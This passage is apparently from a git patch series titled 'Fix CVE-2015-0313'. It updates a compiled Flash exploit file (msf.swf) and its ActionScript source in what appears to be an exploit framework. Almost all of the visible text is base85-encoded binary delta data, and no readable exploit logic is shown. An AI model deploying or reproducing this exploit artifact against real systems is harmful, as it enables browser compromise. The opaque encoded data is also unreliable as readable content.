z(Tg@oNeo?`Ai*s#nGhwE=yIcgPx(@qx~}o#Umx8y_@s5u46R6i%7&{M?E^NhWn?xE zt*bkyAD(egn+{3H&0B5u4(7^meWKru{#n4k)Lr6J3LW*bO?P4u6zb$SH1TRU&h`wNGW#stN>nr( z|H0PMt;qrW@&WFDzL{v2N$i;3y*5r?s*AjP9a|xKJo0ublm^T0U{3?AS8ZyjuT)>n zxc?x<2aZHYKG}0jjiG>EgG)z4>sIRpeGZ5vSE2zFmuCV4VeYX0^MMrameAD%n-&^r zgf3J@cQtSQU*2$^_p5ZXu`G*43Q)k9klDIzXY^E@jlpk!YXd9Lp5W}r_ASVb&;dYkvC?m>*+I^G#GmXvG$>>FClL)hGKS7D6 z_*$WQWOjs2lZ&RM3`AT75Q3Mqu4`*nyKTpMdn)@!e);TQnw`4jin(AN*9)gjp*;}N zAKm)(eE1snpLT-O?4(7MqDU`^%&c(=_p~stuC5q=_t|XCzgvXh?CCgK1<>$+&vTA@-*RA4{4UX#JG@414ZBXdBc?=39o=xLcmh zmPr``wa&~vyfV6SQ3y}!J;EH7RgmRz(Vn({BJm#|;4}B&VOo-kp-ghXFEku(U881= z_(f?3yI*?5Vzb6jhqf`h9)<{A7T+|YvB5nXey{Z_BG%ZbzY=@gLqhQd5iw&8fA|uf z)_Sp~?1Sda zw;LvhD!%s!s+ug#6)0cF^_?bh$x!_htO}D=6`f@qnE$LDUV>k6`qdJ~(*dBYTi#sv z67u%ztcC6r?9fFVZ*a84SJqUEb>T68?f0PSLtko%;Z#tGu{9A~X(KH|uV~^J7?0&I zr-;kdoSG-|nJ_@MDBq=8(W0Zv(@8w$l0ZpxM4wa*m7x`Zzd?KdRc?=W6dImP1X?se zE@D5=BvR+0!0c;01icdmtv7*GUc!pT&PsK3`b7yEh_Pit$eej{F50nTe)VgA{gS$; z!xbX9w8+br<16*E(j~NAiwkBk=W@NDgg#Mg8tUpcuSXKtQqTDe6zM>QMjVlzxw^^1 z%g+1BLWi~v>Pg`F|C6v>njbiSbQ02k;o(x#YFVdOMF(D{L$_;@7DnaDi{vP$f>U{1gaHXT$YNIo~*eTKz{v_0mo3B8E| zr4ll4&YWsatJ17nAbi1c!x}UZ!Zz$u$eexSsan-4`R&8a^HhM=HULq7eJrWB2uqgd z<<(mP$}Ce^b^Ha&JxKb4fH-np5!;xg;Zbpok#9avi|%!b@f3Wxt@Komq^S5v56c6Q zfujS3#IPL`r{D_ZE@7SWIpSlidPs&*9pHht^|L4Vu3#-pOFaXgqg5@BLwT{UDVSl9 zjQ`Qw@^lG_KZm4Cwp8SQ=t>W}Q_6j&oz+)B`JxX;@ea)=C&p* z!}N6~<&!KOZ?KwsR7z60)yf|{@QrFzdDTyWSuW4@zWRrUfHBkt|HIem2(t2y(E%NN zuNoIb?{Y#8-XuIf^pk@-V#X=o&M`Hfbr<5$e?X>WdzKA@R;3ZC%+9rz!u7 zw*9uYb7uE}TZqgOY#=v49bRWM&K@NcDJU@**K{O(k1;A$^A1dhH4M|AM<|CIK+(Ld z2}Y&KGnIJrXziSPJws9iZLVqt8B8azC6j<+tEX$jgW0?*EWHVVnM?kbnXbgIoQ5{T z&az6ZDb(5z>k#LEy~eiV?RcP-!mn5*UiHE#-61Z%6QLzRHf-YjL9Vcr&~?bSuV_g& zuS7pLan#ul|Wk)2Ci zv{$1IE%chl;s>NFY2w}dT^su}Q5pq(UHYwT71=%#C`&6k!?i8j zDPoF3<#lGP+-OVz$CH3(!Jt9`@qGaq2K+os~&P*dmte|B-=ni$fXjS%^m0uO39 zRec3P5R-F%GIl~wAGRm2!TFmznGWu9>PaHj1hs$IdLgPTjs0~dVAi7}C&_dpbyWkV z2Y+;KO12~dH{rAD8QxA3ZGl{qp_3Dl7S%w(fu{DdeitDwZME2GZV=wWce}s%Y7PqO zI)3v@c8TvDf6PwsHM>S}pM8$3WD%tSl~Sh)Yid)DD1YrYRoF?gE4NZ)TqI&YvM6$l z22}7!QGq^2eu^|1whqDXs0fj7FE{i7_&v7y@tlLl+&Phazf>2PBWQqS=k0YKQS6`KY|&;~J4?DlJr!3&WVfBPPygi*Gm)%*P2vehb~+1X=% zuPM=h@0O^v%n+bCu%LuGk_-u7Jg$O#p`jEz3>5!D)YjoH9M8CSETe#AzI_-<7mOhE zHigdN%>h*+TmTQ=Ej^p;iU2X6F^M}s3A7xjyUKUyC6U#B9+-h<(6|`UmE(v4txhNV z+Rk!;e^~0==`m!KH?9aoHap^$C`8kO9obic;`G|gp>p{@urY^(LtLGKL!%sdG9WPWGV}>(D(N-CL98voj95fc%ByDEg&-s>C1;)2v}w?1 zjrgZO;TzqIn(8D2F2j}y0+5PJy*$=h)Q~WZe~OOIZswi!Hyk>tCUqf8o?b&1r3jw+ zE(L4`Wd=9Lk$cM?7aa}2Zz+gZ78@s2vh0(H2(5qRHw(E*hg|q(cZ~o{MGFJ3b1&;- z?t|2id!e~Zyda~!2C(x-VuDraLO$Fb?|o2@&N2HB0=zu1TA15x$TYr(BTdoE^O6|= ze|>oMkb?$BbmAH%;=~O|x;*Vpp{MPGMWq{y;cU5V8KK8vD4s@)vYg!d-kRdOGZaX= zCwV)wyM~e^gE37@|MI{V8OP{tU*XR_?0W!)ZwFpf(nE#=FlD%Hl>7L@0X!406r6y7 z4p#`vkk+U?l{6oHLK`YhCYox}hhY?Qe{LA#9Kv{8qnuoBansAn9o1naa)n=BhJl&rlwT*c3y<@!MCyPA|v~NKp139Fvgr6`&I%D z+I>OdZmNx@LP|#SXj5;Ba@xfff7c&*zSoGgpIsiDG{Putc>rXMe&Q29!BJt6>4v*P z#{3N-W`w>FAH`A`!#K0T$}+XA5+#_zc@_xG83birUbKcdDWxZGCfF_42rLsi$~0!Q z+m$GiCUS2PPAGGpr5P-GzIK4{QfxgFCx8|W!XTW`Q&)ZaV@rQ-yI?7Ye}ufpGg{qG zRbg$d<6-|2RegaKF=HJ*M}C2f#{O6Yw6f!lzXv}hek?f1UfUSC>D$G(fpw?dHWwjqgUHeBORof@-D6j4cUQfQ9x) zl$E?tYUTCTiYmtK^9m5P#_!}#kK;5v>cxvpGmMQ5#qSgVo^?1Olb%1HIbddoV)W>uBB@61o)RdTe+Ycow^b2q&zMz| zHvo0aVtK!0fIKnj|CPC7UcHL$KTOf z=6$<;5{&Axf0Q)_j8knkaCe85H^*LuGD^Gf{~4#3C8dV<=^n?ZsNl`zr4erF*&jb? z!sCi7EC@(6iqANDvTOU|rjHD1v88HF<&={u?YTnMJ;b+Kj=op&)D!Bl?9tJ6swWJbOcH%)mif3K}~={CYJV3K{U`8Kn(psAHj zT9j0Oxs1`iIbrO2(io4(YUSq_z}q5mmaH$1uVU=oNGI@XL3z0z#M)e}rp82)>Syu$ z@>}3JL=#4&a?oR_-0>M#C=$93!d;BPl Date: Tue, 26 May 2015 16:11:44 -0500 Subject: [PATCH 34/55] Fix CVE-2015-0313 --- data/exploits/CVE-2015-0313/msf.swf | Bin 17923 -> 18009 bytes .../source/exploits/CVE-2015-0313/Main.as | 7 +++++-- 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/data/exploits/CVE-2015-0313/msf.swf b/data/exploits/CVE-2015-0313/msf.swf index 68b0ad0e6b4e7fe4e914320296148ff37c9c1f7d..f4d5e8f32de2cc716af392728756f7b472967ff0 100755 GIT binary patch delta 17868 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 